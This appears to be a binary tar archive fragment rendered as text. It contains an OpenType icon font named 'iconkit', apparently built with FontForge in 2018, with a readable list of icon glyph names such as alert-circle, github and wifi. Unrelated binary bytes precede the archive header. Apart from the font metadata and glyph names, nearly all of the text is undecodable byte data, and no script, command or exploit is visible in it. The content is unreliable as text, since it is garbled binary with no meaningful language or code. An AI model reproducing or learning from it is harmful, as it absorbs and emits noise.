WL�T�ԥ�q94�r�o�4P��������\���?�Ƶ�/���|��oP���F�H��?rpc��O�"�$�jl�߉���-��A�zMK��խ���c�p�9а]��%���Ĺ渰S@�k����a2�:� �C��#E��栾��x�,��U1�񞵍���Ց�Mtf��=�fYm����I�NՠzR`��b�o~`g���-NV�~vj�B�5'��au_��N����xD�R�!j�mn(nyJ���?�5�$/�<v�e�h��@��e��pwɤs��O�؊B�H�+��$w�xK����p4���g��EJ)�ƹt�{���@�$�oIb�3%wK�!e4f4 ��ʎ.ã�7W�97ܷ��i�8>�O4t����Z�hrX{I+�X"��89w��־>���w5��)��NtF�)�Lw���B��j&]Ns��pQPM��V�K�y6l�N�q|-��0�+w8`s�xuI,�1ٟm����M.
肯'F���p#q��B�p�B�@�c
�A�5�Bu��	%E�w,�5�K�����^�E>'�稰�e��o,�n[�K~�9����5�*�D>���.}U���� ܿKas�c/	ŧ㛅{���+�X�)/Y��Y'��K\���e���y�#���*K�k��:��{��S[�<Т~}.�Fh���YÎ6��07Uu�*W�ץӒ��.���8����;5[O�8؇����:c��2;�x�đ"'���݅i�/?^�ֲs�ƪ�3|r��m�í�>/B_�_�݀Sϱ�<fonts/iconkit.otf000064400001003764151677247160010102 0ustar00OTTO�0CFF ߅���FFTM|`fD�GDEF?� OS/2Wv_u `cmap1�:IrheadC��6hhea���$hmtxͣL��maxpPname-��post| ^�u_<��a��a�������\�P��������3	PfEd@x�*���\��  �&$w���			H-	�	�	�iconkiticonkitMediumMediumFontForge 2.0 : iconkit : 14-11-2018FontForge 2.0 : iconkit : 14-11-2018iconkiticonkitVersion 1.0Version 1.0iconkiticonkitlPx�*��x�����	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrs�tuvwxyz{|}~�������������������������������������������������������������������������������������������������������������������������������	

iconkitI�&�'���
	vV/��
	vV/�������a
���
"0<CPZet�������������#,6>FIO[`lp|������������",37HXhv��������������
)0<EIMV\bfkotx~��������������������!$04;HW[`ku|�������������#(.9?IS\`fltz������������������$06;FS[_flt�������������������
!%/8>BFQZgiqy�����������
$/3?ISclt~������������alert-octagonalert-circleactivityalert-trianglealign-centerairplayalign-justifyalign-leftalign-rightarrow-down-leftarrow-down-rightanchoraperturearrow-leftarrow-rightarrow-downarrow-up-leftarrow-up-rightarrow-upawardbar-chartat-signbar-chart-battery-chargingbell-offbatterybluetoothbellbookbriefcasecamera-offcalendarbookmarkboxcameracheck-circlecheckcheck-squarecastchevron-downchevron-leftchevron-rightchevron-upchevrons-downchevrons-rightchevrons-upchevrons-leftcircleclipboardchromeclockcloud-lightningcloud-drizzlecloud-raincloud-offcodepencloud-snowcompasscopycorner-down-rightcorner-down-leftcorner-left-downcorner-left-upcorner-up-leftcorner-up-rightcorner-right-downcorner-right-upcpucredit-cardcrosshairdiscdeletedownload-clouddownloaddropletedit-editedit-1external-linkeyefeatherfacebookfile-minuseye-offfast-forwardfile-textfilmfilefile-plusfolderfilterflagglobegridhearthomegithubimageinboxlayersinfoinstagramlayoutlink-life-buoylinklog-inlistlocklog-outloadermailmaximize-mapmap-pinmenumessage-circlemessage-squareminimize-mic-offminus-circlemicminus-squaremoonmonitormore-verticalmore-horizontalmovemusicnavigation-navigationoctagonpackagepause-circlepausephone-callphone-forwardedphone-missedphone-offphone-incomingphonephone-outgoingpie-chartplay-circleplayplus-squareplus-circlepocketprinterpowerradiorepeatrefresh-ccwrewindrotate-ccwrefresh-cwrotate-cwsavesearchserverscissorsshare-shareshieldsettingsskip-backshufflesidebarskip-forwardslacksmartphonesquarespeakerstarstop-circlesunsunrisetablettagsunsettargetthermometerthumbs-upthumbs-downtoggle-lefttoggle-righttrash-trashtrending-uptrending-downtriangletypetwitteruploadumbrellaupload-cloudunlockuser-checkuser-minususer-plususer-xuserusersvideo-offvideovoicemailvolume-xvolume-volume-1volumewatchwifix-squarewindx-circlezapzoom-inzoom-outcommandcloudhashheadphonesunderlineitalicboldcrophelp-circlepaperclipshopping-carttvwifi-offminimizemaximizegitlabslidersstar-onheart-onarchivearrow-down-circlearrow-up-circlearrow-left-circlearrow-right-circlebar-chart-line-bar-chart-linebook-opencodedatabasedollar-signfolder-plusgiftfolder-minusgit-commitgit-branchgit-pull-requestgit-mergelinkedinhard-drivemore-vertical-more-horizontal-rsssendshield-offshopping-bagterminaltruckzap-offyoutubeiconkiticonkitY��������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\Y]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������<	�������
!"z$�&�'�)�+�.1�4:<A�HGJ�L�Q3SV�\@`bb�cXhAmTn�r+x�z{>|r}���|���W�j�r�?�k�2�����z�'������=���n�ä�=��ˌ�'�w�]ڀ��������W�~�������	78-!��!T%{'V)�3�8;�@xBUG�H�L~P�WW[X`�b�f�npErrt�y�{��i�e�������������c���1���9���*�����������:�*�y�t�OҜ٠���i���"�T�~�p�E����W�(�S� �'d->4�7�:VJ�L�Q�SU	^_�b
b%f�j�j�slt�v�y�|N~-����C�#�����	���k���{���=�w�6��c�������/�S�Ȇ����Z�=����
�B��!�N��������������

D��	'�-2p5d<�>�?
A�C\EF�H�KUN
R
TaY\�^�cdfpk*n�q�w<{�}Z�c���L�������������*�J�����������
���������������*��UT���UV�UT���UV������UT����UV����UV�*���UT������UT������*������UVb�$���UV��*���������
���	UV�UV�	UV�UT�
�T�*��UV��UV��*������UU�����UT�����6�}�#�;�������UU�����������UV������UV�����*��UU��UV������UV�
��������
��������
������U����������UU�������
UU��������K������	S���	�T����U�
V�����
T�������	�T�*��	V(����	UT��
�������������UU�
UT����
UT���������UV��UV����U��UU��UP����T�UU������U[������UG����T�UU��Ud��������UU���*�����UU����Ur�����U����U9����Uo�����U����U<����UU��������*����UU������U����������*�����������*������������U���-��������~�UT���UV�UT���*��������UV����UV�*�����U�UT���UU������UT���UU�����������������𪬋g�K�;�:�H�f�����������V�UU������������V��������UU�����UU�������V��z�UU����UU���UV����UV������UU�����������UU�UV������������UV�UV����w��UT���*������UT�	�����U�	������T��T���T���P}�������UV����UV����*�����T���������������������T���UV����UV����*����UT���������� 
��\(�tO!
��O\(����U@�����"
�UU�#
�������$
�UUS%
���U@�*��#
�*����UU?���U@�����"
��}��
{��ׂV��ym�W�`��,���
��K����<����@��Z�2�ٮ�}d����������ƨ��
����8�U�����r�U�����r�*�������9X����9X����8�������t����r����t����r�������8���9X���t
������`���/��������D������E����}܋���}ԋ����	�^�����t���(}����,���}����m����Q4������~���P������L�������L�����0���&R����������^���UU@����9X������*����r�U�����r�U�����9�
��ƨ��ƨ�*�
�U��U��U��U��
�*�ƨ����n��v:��b���{�t��
4�	�`������ċ�
4���E��|����D��n���<����������|���UI�������*����w����↋�����]O��������������������N�"�����>4�#��A���9�Ѵ���Ѭ���h�	(��#͋�����Hx�U������r���E��[�l������
���#��D�������������Vl����؋�������Vn����(�������H�������H���#���r���������,���+��yn�h���Z���q&����G|��l���$���$��p�����
�����������L� l������ l������HL���(p�p,���TL�iBL����0������a�����Q�����?����Z������V�����������������������������ZL����l��-�,���{S�@����*;�J����$�U����#�U����	�8���`���<��K�R���h��e��@���U@�&
�UU@#
������4������

������U@����r�U<����n�*���������9΋���9����d���� ��������r���������p����H�������9������������T����9X������*����r�U�����r�U�����9�
��ƨ��ƨ�*�
�U��U��U��U��
�*�ƨ��������'
�������(
���UU��ƨ��
����9�U�����r�U�����r�*�������9X����9X����8�������t����r����t����r�������9���9X������9X������*����r�U�����r�U�����9�
��ƨ��ƨ�*�
�U��U��U��U��
�*�ƨ���U?��U?��2������

������U;����r�U;����r�*����� ����9΋���9����b���� ��������r��������r����I�������9��������US��ܬ��������խ��W���Q�����Q�������*S��#S�������#S��W�*T���������*S��X�#S�������#S����*T���������X�����X��X���լ���ܬ��UU@���ܬ	�������խ���P���Q���T���Q���լ������ܬ����UT���9�v����H�+������U�������U�����`�

���1���1�*��

�U<�U��U<�U��

��+��4�u�*���ƨ��
�*�U��U��U��U��*�
��ƨ������ƨ����8�
����t�U�����t�U������*���9X���UU@���9X��������8����r����t����r��������9�������8��UU@����9Y�*�����U�����r�U�����r�
����9�ƨ��UUn�����z=p��mO��� ��O���������d�$�

�+Y�T��U��T��U��*`�

�����
Kb������	,���i\����*�������x��
:*������������������x�%��*�������i\���
���������ԋ���������:x�*`����u�T����s�T����k�

$���ԧ�ł����������,������

������U@����r�U@����n�*���������9��������9����`���� ��������p����8����p����H�������9\������������T����9X������*����r�U�����r�U�����9�
��ƨ��ƨ�*�
�U��U��U��U��
�*�ƨ���������'
�������(
����UU��ƨ��
����9�U�����r�U�����r�*�������9X����9X����8�������t����r����t����r�������9���9X������9X������*����r�U�����r�U�����9�
��ƨ��ƨ�*�
�U��U��U��U��
�*�ƨ���U@����4������

������U<����r�U@����n�*���������9΋���9����`���� ���������r����8����p����H�������8\���������������T����9Y������*����r�U�����r�U�����9�
��ƨ��ƨ�*�
�U��U��U��U��
�*�ƨ���������'
�������(
�UU@��UU��ƨ��
����9�U�����r�U�����r�*�������9X����9X����8�������t����r����t����r�������9���9X���������9Y������*����r�U�����r�U�����9�
��ƨ��ƨ�*�
�U��U��U��U��
�*�ƨ������,������

������U@����r�U@����n�*���������9��������9����`���� ��������p����8����p����H�������9\���������������T����9X������*����r�U�����r�U�����9�
��ƨ��ƨ�*�
�U��U��U��U��
�*�ƨ����UU@����'
�������(
����UU��ƨ��
����9�U�����r�U�����r�*�������9X����9X����8�������t����r����t����r�������9���9X���������9X������*����r�U�����r�U�����8�
��ƨ��ƨ�*�
�U��U��U��U��
�*�ƨ������*<)
�H��a���������UU@��ƨ��
����9�U�����r�U�����r�*�������9X����9X����8�������t����r����t����r�������9���9X�������9X������*����r�U�����r�U�����9�
��ƨ���ƪ�*�
�U��U��U��U��
�*�ƨ��Ƭ��
����8�U�����t�U�����t�*�������9X����a��*
���*<�H��UU\���UU@��ƨ�*�
�U��U��U��U��
�*�ƨ��ƨ��
����8�U�����t�U�����t�*�������9X�����9W����8�������t����r����t����r�������9���9X�����9X������*����r�U�����r�U�����8�
��ƨ��ƨ�*�
�U��U��U��U��
�*�ƨ��*���X������A��(Q���ƨ����8�
����t�U�����t�U������*���9V����9X��������8����r����t����r����t����8�������9X��׮���޾�	n�����%Қ�����B7$�����B7 ���-f�K,4�����T!H�R���ƨ��
�*�U��U��U��U��*�
��ƨ��ƨ����9�
����r�U�����r�U������*���9X�����9X��������8����r����r����q����r����9�������9X��������X8�c���3t�ǘ�����ǐ�����!VE����)����)�
����1�.��ީ��9�N���8l�9�B���8l�<̊���6�?�֋�?�̋�<̈�c�9�L�ǔ�9�4�Ǐ�1��!VF�)�)�)�)��!VD�1�.���9�E�ǔ�9�F�c�<̊��?�ҋ�ƨ����8�
����t�U�����t�U������*���9X�����9X��������8����t����r����t����r����8�������9X����9X�*�����U�����r�U�����r�
����8�Ƭ��R��������ސ���-d���Ӷ��������������������-f���޸��������U@���@�/���(7�����!U��!V@�!U��!V<���(7�������/�������/����U4�(7���ުl�!V<��ު��!V<����\�������<�����������n����ǘ���T�ީ��ީ��ީ��ީ���T��ǘ�����`�����p�����ǘ�!V>��ީ��!V4��ީ��(8h���T�/���X�UU@���r�������U����T�� ���T�� ����p�8���P���L�U��8�� �� �� �� �8�U���P���P��8����p�� ���T�� ���T�U�������������r��(���r�����p�������S����T��T��T�������p���r���Ȉr������
������f����:��*����c����������8G�����$�����@����D�`�Q!�I> �$�4�I> �$�3�8x�,2��&��3�-��T����6�[d�;����!�F��+̷�u�5�(�u�5�6���/�ȋ�)�^������*��@���[@�=����|�:������E�t��˼��>W����l�7����m�7�����������
<���eL�Ǹ���Y0�����M����Of���������������]�������]��������P���3<���<����A����
t���s%�������������$���h���������4V���#~����KD������sP����q��r����j����j������į�
{��癈�����S��3yB���:�Il���� ��Il���� ��I���"K�J9X���#����G��X}�����6�.7��ѳ��"6���V� 4���V� A���A2�"�;���,E�%(6�W���xP��V$��
���n|����%�=w�$h�=�#�>S�=p��j=q�^�0��[�k���������op������������k��������m��Ϣ���^���a@���P�z���%v��������l����I������������z�����L�����������������i�^���,���D���چ�H ���UT�����&����N���Ԍ���a������ʲ���=Z��)�"���o��)%x�����*����,/�����������H���پ����!6����!6�	O�����
���m�A���S����e.�W`���g�[2���h��=V���E�������yx���������"<�(����4(���4*��0]����,����l�����A&��������°���ۖ��������"�������\���Ž�N��$DZ�+������.L\�����0�����0�����$����`����������b�UU@�����ƨ��
����8�U�����r�U�����r�*�������9X����9X����8�������t����r���� ����r�������8���7����UU@���9W������*����r�U�����r�U�����9�
��ƨ��ƨ�*�
�U��U��U��U��
�*�ƨ��*���+��*7��*`�����*>�������W�����%�����f����9X����8�������r����r����r����r�������:���9X�����b�����&�W�����������������T������
��ǐ��ǐ�*�
�T�%�����b����
:�W����ƨ��
����8�U�����t�U�����t�*�������9X�����h����|����(���P�����������UU@���9X������*����r�U�����r�U�����9�
��ƨ��ƨ�*�
�U��U��U��U��
�*�ƨ������ƨ��
����8�U�����r�U�����r�*�������9X����9X����8�������t����r����t����r�������8���9X����Մ��H������Ց��*<��������Dd�����	�`��~\��ƨ�*�
�U��U��U��U��
�*�ƨ��~T��	�\�����Dh���������T����Z�*�������8p����8t�����������V%���������������������􁨋���9X������*����t�U�����t�U�����8�
��ƨ��~Y���	�]���Dc��U@��U@+
��H��*~��Ր��*>��������Dh���	�`��
�~X��ƨ��
����8�U�����r�U�����n�*�������9\��������������������������\���������������8p����8p������*����Z%�������P��b����{�
:؋��ƨ�*�
�U��U��U��U��
�*�ƨ�����
:����|�c$���P��*<��*=����������������􁨋���9X����8�������t����r����t����r�������:���9X���􁬋������	���������������Dh�����	�`��~X��ƨ�*�
�U��U��U��U��
�*�ƨ��~T��	�^�����Df�����a����+������������������9X����8�������r����r����r����r�������9���9X����9X������*����r�U�����r�U�����9�
��ƨ���ƨ�*�
�U��U��U��U��
�*�ƨ���ƨ��
����8�U�����t�U�������*�������9����9X����8�������t����t����t����t�������8���9X��*>�aկ�����������������􁬋���9W������*����r�U�����r�U�����9�
��ƨ��~Y��
�	�]���Dc�����c���
:�W�����ƨ��
����8�U�����t�U�����t�*�������9X�����h����|����(���P���������+���*P�����UU\���������9X������*����r�U�����r�U�����8�
��Ƥ��ƨ�*�
�U��U��U��U��
�*�ƨ���ƨ��
����8�U�����t�U�����t�*�������9X�����9X����8�������t����r����t����r�������9���9X����9X������*����t�U�����t�U�����8�
��ƨ�*���*������9X����8�������t����r����t����r�������9���9X����9X������*����r�U�����r�U�����8�
��ƨ������ƨ�*�
�U��U��U��U��
�*�ƨ��ƨ��
����8�U�����t�U�����t�*�������9X��+���Ֆ��*d�����*<��*<�����������������􁨋���9W������*����r�U�����r�U�����9�
��ƨ��~T��
�	�^���Df�����T��T�
�*�ǐ��ǔ��
�����T�%�����������������������􁨋���9X����8�������t����r����t����r�������8���9X���􁨋������
��������0�`��������
��������<����F���%,������#"����!����9r�*�����U|������U|������
����A�ƒ���؋�M�����	���e��r�!��e������h�����Rp����e��|��Ɛ��
�*��U��U|�U��U|�*��
��ƒ���]������2������������k5��$���Gl���(���)�4��)�4��
��1�$��.�n��=ǜ���ĸ�9���d�4k��d�4k�֎��)q<��˔$�v���˔$�v�����P�;D���8|����8������P���ļ��˔���t��˔���t��֎��֎����u��˔���u��˓����ĺ����<����8x����u��
����@�)���4�)���J����bd�$�����~�O�~���Y�����:������7�����58�����57�y|������*��y
�������* ��y|�ed����������������e������v��Rm����=,�������ԋ���L�������������<�%��v�����Z�-ۦ���X����ë�~�����2�����2����<T:��F�l��F�|�|�<T8�2��2��2�2��<T:�|�F�l��F�|��<T8����2������2������|��ëċ���X�����X������ë��������������ë������X���*����U@,
���U@�@���9X��������8����t����t����t����t����8�������9X������9X�*�����U�����r�U�����r�
����9�ƨ������ƨ��
�*�U��U��U��U��*�
��ƨ����ƨ����8�
����t�U�����t�U������*���9X���*�����U@-
���U��*�����9R��������8����r����t����r����t����8�������9X���U@����9W�*�����U�����r�U�����r�
����9�ƨ��������|������
�*�V��U��U��U��*�
��Ƨ�*����ƨ����8�
����t�U�����t�U������*���9X���*�����Ul.
�����UUT/
��U@��L�j��:�T���*�2F����T,�)����Tx�)���͹l����d��������͹n���*���T0���T0���T0���T$���*��͹n�������������͹n�)����T0�)����T1�2F����*�:�H��x��<��+����+|���^���a����)�����0��|����+d����+l�����������N<��/���(8h���!V<�!V=�!V<�!V/�� �(8h��/������*��������?�����<���4��9���4�9��ާ�1���0�)�$���<�)�$�����!X<�����T�����T���8�e(���aЋ���`ċ���8�����\���5D���n���5����O��ާ@���1�������>���@��ާA���P���5D���\���5D���T�����8����`�	���`��e\���8�ʮ���n�ʬ���o�!X����O�)����/�)����>�1��ާA�9��5D�9��5D�<���?�6��+��1��	r�7�@��"�7�0��!�-L �ʵ�"���J�&����h�J܋���������,�
<����X�U�����T�U������*���90����\����ZX������X����#����{<���)!����4���Z%���e4���*���e4���)���<���E����~���������"����"E����"�"E����`A�.����ݺb�:���ݺb�:�����1�@=q��E���E��"�@=p�"E��:���"E��:��.���.���:��"E��:��"E��@=p�"�E���E؋�@<�����x�:����ݺ�:�x��ݺ��.�����a�"F����"F����#����Ô� ����,���UT����r�����p�������T��T��T��T�������o���r�����r�����������U����T��"���T�� ����p�8���P��*���������ܬ��������լ��W���R�����R�������*T��#S���#S���X�*T���������*T��X�#S���#S�*T���������R�����R��X���լ�������ܬ�������ܬ�������լ���T���R���T���R���լ������ܬ���U@��U@,
���U��@���9R��������8����r����t����r����t����8�������9X������9X�*�����U�����r�U�����r�
����9�ƨ��������|��
�*�V��U��U��U��*�
��ƨ����ƨ����8�
����t�U�����t�U������*���9X���U@���U@-
���U@�*�����9X��������8����t����t����t����t����8�������9X���U@����9W�*�����U�����r�U�����r�
����9�ƨ������ƨ������
�*�U��U��U��U��*�
��Ƨ�*����ƨ����8�
����t�U�����t�U������*���9X����U@���Ul.
�����UUT/
��U?�����Ƨ�����
����.�U�����r�U�����r�*�������9X����9X����9�������r����r����r����r�������9���9X��������ܬ����լ��W���R�����Q�������*S��#S��UU@��#S��W�*T���������*T��X�#S����d�ƨ��
����8�U�����t�U�����t�*�������9X����9X����8�������r����t����r����t�������8���9X���w����9X��������8����r����t����r����t����9�������9X���������9W�*�����U�����r�U�����r�
����9�ƨ���������9X������*����t�U�����t�U�����8�
��ƨ��ƨ�*�
�U��U��U��U��
�*�ƨ��UUT�#S����*T���������X�����X��X���լ���ܬ��������ܬ�������խ���P���Q���T���Q���լ������ܬ���w����9X����������*����t�U�����t�U�����8�
��ƨ��ƨ�*�
�U��U��U��U��
�*�ƨ���d�ƨ������
�*�U��U��U��U��*�
��ƨ�UU@��ƨ����8�
����t�U�����t�U������*���9X��*����0
��\�@�����~k���(��O�v�����^����9X������*����r�U�����r�U�����8�
��ƨ���0�d6���n�+2�������(�=�7"�y���������������M�����
n�����U����,�U����,�*�����8�����a�����P���7����Լ����:��BX��A������ƨ��
����8�U�����r�U�����r�*�������9X����a�������N���7��������UU>������������������4�����JN�����JM���a��%'������8������*���,�U����,�U�����
n�������d ���>�+H����޴8��������8���v���֜��������:����4�*<������Tt������Tt�����
̋�� ��;`�Hp�T���nT���nT��:�Yt�s��D����&�$@�
`0� ������ ���������L��Ƌ�=���9����Ɯ�4et���d�4ex��ፔ�)l ��֓�r��˚0�r��˚��9d����P����@����堋��Uk�����:�������4������������������������8�������:�������:��������8�*<������Tz������T*�����
ʋ��l����:��3������F�������<L����L�1����L�1���óH��d���aH����r�����p����o\������o\�����룖���6�����������}���K�x����q��e�������������t����
�����Tt������Tt������*<����5����:ʋ���:���������5���������v��������������8�������:����S���������^��������7������7��7�^n�7�^m�7������U���1����Ty����������Ty�����:���.V���������4�����$�i���i�����m��
y��OX�K!�` �Y��q��h���h���J�A��-
��Ȧ��
���Ԅ�V������V������+|����0����7X�������i����w����:���ڤ��� ������F����d���l���@���m^���<���6��������������@�$������g���M���4��&7�4��&7�����`���x��

���զ�T�����L�T�����M�*X�������:�����X��P����6���(����a����ˀ���h\�������bD������bD���������P���x����r�����9����bB�s^���b@�s[��������˂������(���v���P�"ˋ�����q�*Z�

�T��T��TJ�T��

�*\�����R����������4������4������M����u�g���# �f���"�M�����+�4����ٌ�4����ً�������ǂ���|����;�4��&u�4��&u�M���f��6���ބ�!V�1
�UU��*Ht��������& �
'�LH�eD�L8�eD�
��2�����U���������	�����X�OP������OP�����'�����\��������z����?��������������������0���������l����]���I�����=p���Q̋����5����l�j����j�j����6�
$����������T�����������@����z������>���ܻ
�{���������������w���m�#D����U�#D��|��i�������{�#�#D������Wq��T����6���#D����'���	��	x���
��	0�������ܺT����=p��ܻ���������u����	����4���	����4������ ���ܻ����*�X0
�*������LJ���$��|Y����B���|Y��|Yڋ�LJ��̌���^0��3st��̌�������̌���̌����QN����;��������Ŏ��������9�*�����I�U;�����U<�����

�����b��2��$��
:r�WZ�b������B��B��S��TT�)�

�����������(�

��TT%��^���H����
o���� ���r����<���r����<���9����(������Uz`���������������������������
p�
p.��H��H�S��TR�)�

�����������(�

��TS%��*�0��B������������������9΋����J����d��������������������b����L����9̋���D��������������*����������d����j��:����f��ut���by�ux���bz�a,���>�L���[���X��7�Q\���qƋ��2��U@��F����<UT�����<UV��F����F����<UTr�Y�Y���ê�����UT������������s�_h�8�_h�8�8�����8�����8��\x�q���T����r�����������U����T�����T������p�8���T��U@��=����Ĝ�94���8�4lX���0�4ld��֎l�)q���˓��v��˓��v�����;d���8����7������Ĝ��˓����8��˓����0��֎l��֎l���7��˓����7��˓����Ĝ����̋���8��*������r�����p�������T���T��T��T��������p���r������X��������\x���������������������������_g�����_c�����������箋�ϒ����k0�gt�ݤ�N|�3�5��&�5��&���a��0�����
h�����U����1�U����0�*�����9����W�������E���( ���`�����,���f��������_h������_d���������Ł���Ћ���ʋ����:���_l�t����_p�u����|����(������( ��U����#���� ����*�
g�U�U�U�U�
h�*�����6�������5�����=�5�����=�N������g|���"[�gD���"�Nh������5������5�������������f���d�������5��&��5��&��Nh�~�gD���UU@�UU@����H���ȧ����Η���jH���Ԉ���Ԍ���Ԉ����|���jD���Θ����ȴ���������ȧ������Η�+x���Ԉ�+����Ԉ�#1h���jD�)7L�����ƨ��
�*�U��U��U��U��*�
��ƨ�UU@��ƨ����8�
����t�U�����t�U������*���9X����U������,�����	���"���껪���5����2���j��������@,�(��W��X��W��X�*�@,������U@��������V������@,������W������W�����*���������@,�*��W��W��W��W�*�@,�����*�������������,��������j���h������������������T���ላ�����������U�R������������� �u�������^������^���������u�#5������� �#5�'������\���\��u��v��#5�������!���'�� �W���#5��P�$������d����������`��4����$�������*��������#S����*T���X�����X�����լ��X��ܬ���UU@��ܬ����լ�������R���P���R���T�������լ���ܬ�������������Wb������4�������Q9������Q8�����	�������Z�W����'�����'T�
 �N��i@�N��i<�	�&�4��������������UU@����mP��������,�	�t����|�@L�����@L����� $�������WH���������D���U�R����5���ج�������X���������������������`���r������������UU@�����*����ƨ�*�
�U��U��U��U��
�*�ƨ�������ƨ��
����8�U�����t�U�����t�*�������9X���UT���j>����&������	�����>������sD���������ƅ�V�������:����5��������������������������������8����:�����V��Ƅ��������m��s�,�������ܰ�����٢���P�������������������L���٤���ܰ���*�4���ܰ��~����٢��h������g�����&]���L�#OU����t��H�p���4��CT�����	����|�|ԋ��������
�*;�Tt�T|�Tt�Tz�*<�
ˋ����|���|�	������CP�������\�x������d��t��gV�����:����6�*;������Tv������T{�����
ʋ���������*;�
�Tw�Tt�T{�Tt�
�*<����nGm��r��������9B���!�����U����*����U����*��������θ����r����&���*����)�H���Y��)�H���Y��2?��,�:ٌ������3��V?�ל�
�~�ל�
�~�O����|����Ç��<m����*������8�������X���,���X���,�����a���,ȋ��ܰ�����٢�~�������h������g���L�&^��#OT���<��np��<�	���8�	��&���;�	�������b���`,�l����.����:����4�*<������Tt������Tt�����
̋�� ��������*<�
�Tz�Tt�Td�Tt�
�*<��2����v�����K����%�����K��H���K�6<������4����,�H������Ô��#OX��&\���P��d������d�����~����٤���ܰ���q������:������5���������x����x���������4�������8��:����8�*<������Tv������T{�����
ʋ����MP��������
������Tt������Tt����8�*<���:����Uk�����\����$����c ��x�����������x���l�<����������*�������ƨ����8�
����r�U�����r�U������*���9X����9X��������8����r����t����r����t����8�������9T�����T����UT���t���ܻ���������	����	����	����	������∋��ܻ������=p���ܻ�{��������	������	��u���#D��U�#D|��t�{��p�������{�u��#D��U��#D����t���	���\���	�������{��ܻ����t�*���������,�����

�����t�U@����x�U@����$�*����9̋���9ȋ��������`����t���������p����d��������H��������80���UT��U@�����������x����DE���ۘ���������,����-����0����-��������ۗ���DD����=p���DE�������$i����-�H����-�H���ۗ�
G������6���U���������UT�x���9�+����H�U�������U������

���d��4���4��

�*��U��U@�U��U<�+�

��t��4�*���U�������
<���ڌ�J����J����%p����ċ���Hl������x��UU@����6������%r�
<�J�J�J�J�
=�%p�����U�����UT����T����9X�*�����U�����t�U�����t�
����8�ƨ��ƨ��
�*�U��U��U��U��*�
��ƨ�����R���������������K�����������⠋���㤋��������Zr�����%�����Z�H��W����Ƥ�*�
�U��U��U��U��
�*�ƨ������ƨ��
����8�U�����t�U�����t�*�������9X���|��2�\���à����<_|�jT�����CX���Zr�	d��ƨ��
�*�U��U��U��U��*�
��ƨ���������#S����*T���P�����T�����լ��X��ܬ���UU>��ܬ����խ�������B���P���Q���T�������լ���ܬ���UU<��������������9X�*�����U�����r�U�����r�
����9�ƨ��	b��C[����jS�K�8��h\�2
��q�����
�������
�8&$���0��2��$�N��z��H���H��N�������4%�8d��c���4�����y������,�����������������_��������_��������l����P���y��������X��a&��Ϟ�������^�3
�N*>�hQ��H��mT��Xԋ�H�L����������|�6���������J������J�������%H�L�����������ƨ��
����8�U�����t�U�����t�*�������9X��*������9Y����8�������t����r����t����q�������9���9X������9X������*����r�U�����r�U�����:�
��ƨ��U@��ƨ�*�
�U��U��U��U��
�*�ƨ����������L������ڸ����p����p�6�y|��=��1��BX���l(��V��mT�����=������y|���4��p���0��p���b@�ڸ����L�����\�����������^�����N����b@���%H���4���J����4���J�������������������|���V��������l(����ܬ	����խ�������P���P���Q���T�������լ���ܬ��*�����ܬ	��W���լ�����R�����P�*S�����#S�����#S�*T��X����������X�*S��#S���U@��#S����*T���P�����T�����լ��X��ܬ�����U@�:�T��2F����)��)��)��)����2F���:�H��:�T���*�2F����T0�)����T(�)���͹l�������������͹n���*���T0���T0���T0���T$���*��͹n�������������͹n�)����T1�)����T1�2F����*�:�H��UU?��ܬ��������լ��W���R�����R�������*T��#S���#S���X�*T���������*T��X�#S���#S���*T���������R�����P��X���լ���ܬ
���ܬ
�������լ���P���Q���T���Q���լ������ܬ�����������
��|��.�+�

��U��U@�U��U:�

�*���4���4��

���b�U������U������+����J�t���9����F�����$���h������?����18�������18������ޥ4���s���0���Y���D���X���\��ޫU���t���8R�������8R���>���)���hx����`�����8�e^���`�ʼ���n�ʯ���O�!X����1�)�����>�)���ާA�1���5D�9��5D�9��<��?�6��?�>�e[�<��ʸ�9�ʫ�9�!X��1�)��)��)��)��1�!X��9�ʸ�9�ʼ�<��e`�?�6������ n����%O�<�%O��=x���l��+���ǐ�H�������80���� �'����K�'����K�����5D����̋���9X����8�������t����t����t����t�������8���9X�����������,�f8���*���l���hh�	,���p��՜���x�~X���y�~\���v�?,���t�����~���������Ž����,���"��ݺd��� ��ݺd���`B���`@��ݺc��� ��ݺc���(����1���Ž����~������"����"E�����"E����!�.�����`A�:��ݺc�:���ݺb�@=p����2�E���Et���@5(��:���"?��:���"?��.���.���"I�:�"I�:�r�+�@2-�$�Et���*>�H��aՔ���*@��+��+�c ���
:�W�����ƨ��
����8�U�����l�U�������*�������7ԋ����h����|����(���P��������*����*���������������������8,����8t������*����V%������Db�����	�^��~X��ƨ�*�
�U��U��U��U��
�*�ƨ��~X��	�^�����Db��������s���*�H���+��+�c���
:�W�����ƨ��
����8�U�����t�U�����t�*�������9X�����h����|����(���P��������*����*������Z��������������8p����8p������*����Z%��*����U@���P��b����{�
:؋��ƨ�*�
�U��U��U��U��
�*�ƨ�����
:����|�c���P��s�����a՘���*8��+��+�c���
:�W�����ƨ��
����8�U�����t�U�����t�*�������9X�����h����|����(���P��������*����*������Z��������������8p����8p������*����Z%������Db����	�^��~X��ƨ�*�
�U��U��U��U��
�*�ƨ��~X��	�^�����Db������+���+����H���+�

��X��UT�U��U:�

�*���4���8��

���b�U������U������+����J�t���9����U>���ܬ	�������լ���L���R������P���լ������ܫ���������ܬ	����խ��X���Q�����Q�������*S��#S��UU@��#S��W�*T���������*S��X�#S����U@�ƨ������
����8�U�����x�U�����x�*�������9T����9X����8�������t����t����t����t�������8���9X���*�����9Y��������8����r����t����r��������9�������8�������������9X�*�����U�����r�U�����r�
����9�ƨ��UU@�ƨ������
�*�U��U��U��U��*�
��ƨ�L���@��������F����:�����T��*��T��*���\��y��	��������)�*��
��V�V�U��U��
��*���@��ߞ���.����t�н���l�-Ɵ�����*c�����'�����'������+���՜(�	V���9]�����/F�I����'ҋ��� `����8���������`��������������������`�������8�����a����U�������H������H����e������	lS���Ƶ��m����B����H�����H�����n����{��9L��
��3�����&�����n�+V���'��
�����H�����H���Kq�	h���
�<����*��
��U�VR�U�U�
��*���0���Z���$���������=b���+�:ko����7t`�����7t`����-�N���=��$<��ȋ��$<��ȋ��r<��Ŕ���>��p�,����m#�����k݋���j����8��������o����&������������
����p�������8Ћ���vċ�����������>�i����<�i"���E�����Ԫ�
